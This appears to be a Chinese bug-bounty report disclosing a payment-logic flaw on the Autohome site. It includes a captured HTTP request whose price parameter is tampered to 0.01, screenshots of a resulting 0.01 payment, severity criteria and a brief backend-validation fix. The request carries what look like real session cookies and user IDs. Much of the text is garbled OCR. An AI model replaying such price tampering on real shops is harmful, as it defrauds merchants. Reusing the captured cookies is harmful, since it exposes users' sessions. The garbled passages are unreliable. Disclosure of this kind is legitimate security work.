ich is Co

汽车之家存在支付逻辑漏洞

危险等级:高

发现参数可控且参数price 将参数改为0.01放包

发现参数可控且参数price 将参数改为0.01放包



User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 512

Origin: https://club.autohome.com.cn

Connection: close

Referer: https://club.autohome.com.cn/bbs/thread/fd07d8353154bdbf/85528070-1.html

Cookie: fylid=1642001967336CzJ7quZZwz; __ah_uuid_ng=u_235301233; sessionip=113.132.175.235; sessionid=42639F7A-8465-4766-A4C1-autoid=143c6767225f9b6a2e992b55286da5f2; v_no=58; visit_info_ad=42639F7A-8465-4766-A4C1-7BC99F4749F8||15EE0D69-2573-4AE8-A52_ref=0%7C0%7C0%7C0%7C2022-01-14+22%3A40%3A05.765%7C2022-01-12+23%3A39%3A28.603; area=610113;

sessionuid=42639F7A-8465-4766-A4C1-7BC99F4749F8%7C%7C2022-01-12+23%3A39%3A28.603%7C%7C0; __utma=1.344511316.164200 __utmz=1.1642169646.2.2.utmcsr=autohome.com.cn|utmccn=(referral)|utmcrnd=referral|utmcct=/; ahpvno=62; sessionvid=15EE0D69-2573-4, pvidlist=3809bfa0-0a7e-48a3-94bc-3487c7528e1322:456287:719817:0:1:3467060; qrSecurityKey=cce09a8c-45b2-4842-bc19-35a31b73761c; __pcpopclub=d01ede314db44679a4100afca7dde9af0e066971;

clubUserShow=235301233|0|2|%e5%92%b8%e9%98%b3%e8%bd%a6%e5%8f%8b9211307|0|0|0|/g3/M04/02/5A/120X120_0_q87_autohomec 22:14:27|0; autouserid=235301233; sessionuserid=235301233; sessionuserid=23530123

pvidchain=3240101,3311670,6827190,3311670,6827190,6835669,3311670,3311669,1,1; ahrlid=1642171204928IH8QAWbhYV-1642171218968

Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

topicId=85528070&video_titIe=%E3%80%90%E8%8A%B1Young%E7%87%83%E5%8A%A8%E5%8A%9B%E3%80%91%E7%AC%AC3%E%E8%AE%BA%E4%BA%89%E8%AE%AE%E5%8D%81%E8%B6%B3%EF%BC%8C%E9%87%8E%E7%8B%BCdisco%E7%87%83%E7Fclub2.autoimg.cn%2Falbum%2Fg26%2FM01%2FF5%2F9C%2Fuserphotos%2F2019%2F12%2F20%2F15%2F500_ChsEe138f0uAOeL-AAJ%2Fbbs%2Fthread%2Ffd07d8353154bdbf%2F85528070-1.html&price=0.01

ich is co

← → O	O A https://pay.autohome.com.cn/cashier/index.htm?token	=C486394208memberType = 1	銀合 なっず
□ 大製業方別点 □ 大製	R方知点 ⊕ 百度 ● 新手上路 □ 常用同社 ⊕ 奈东南城 □ 常用同社 ⊕ 奈东南 城	4	FREE ⊕ NOSEC用户中心 □WINN&E
	汽车之家 autohome.com.cn		
	生姜河 安全支付 购车新体验		
	pry definition control		
	选择支付方式		
	0,000		
	第三方支付		
	₹ 388		
	16/2		
	第三方支付		
	@ OHE		
	Set a set of the set o		
	第三方支付		
	· and		
	The state of the s		
			and the second
		应付总额: 0.01 请在23小时39分钟内完定支付,编时后将取高。	1章 支付
- AN AND		74	tedan apottojania um
付成功			
	U mujoy/exassies anjay.com/standardadooninanjayonden		= × ⊔ =
* L) 大型東方城市 &) 古度 🐞 新手上路 🗋 常用阿让 🕣 京东南城 🗋 常用阿让 🕣 京东南城 🤅		京东南城 ⊕ NOSEC用户中心 □ 日本 DEGIN TORRES
	□ ★付金	- FF	
	支 支付宝 我的收银台		
		A September 1	
	4	放成場, 0 秒时自动返回窗户	
	THE W	放成店,08后自动返回商户 平 0.01	
	TO THE DESIGNATION AS	放成场,0 移后自动返回商户 至 0.01	
	To the transferrence		

Enlie Co



- 2、严重的废墟设计部泊和市程识距,包括但不仅限于涉及支付,金额、核心机区散燃效用的废壤设计部沿和业务市程识距,推量任章张号包装重置。严重帐密校验发现后间等。
- 3、严重的数据信息泄露。包括但不限于可以积重重要取感效率的SQL注入周围、可直接积极大量内两数据信息的SSRF、涉及重要业务按口的效量结构(如涉及身份证、银行士、手机号、真实姓名等数感效素)。
- 4、其他经事信判定,可严重危害系统安全或数据安全的情况。



Emir

在该SRC对高危漏洞定义发现该漏洞满足此要求

萬河定级标准:

為是基础等級包括

- 1、严重的可直接获取某病权限的推荐。包括但不仅晚于远程命令执行、远程代码执行、文件上传获双高权限Webshell、SQL注入获取系统权限等。
- 2、严重的皮肤设计划组和范理设施。包括但不仅限于涉及支付、金额、核心机应能够致强的逻辑设计划组和业务流程设施、批量任意帐号也容量度、严重帐符权战罗线机回等。
- 3、严重的歌隊信息泄露。包括但不限于可以获取重要歌感数据的SQL注入周围、可直接获取大量内阿歌感信息的SSRF、涉及重要业务按口的影量数权(如涉及务份证、银行卡、手机号、真实姓名等散感数据)。
- 4、其他经事採到走,可严重危害系统安全或数据安全的情况。

补表平台 https://www.butian.net/ granta: butian_report@gianxin.com

包含支付逻辑漏洞所以该漏洞等级为: 高

修复方案

严格校验参数并在后端验证

□☆□告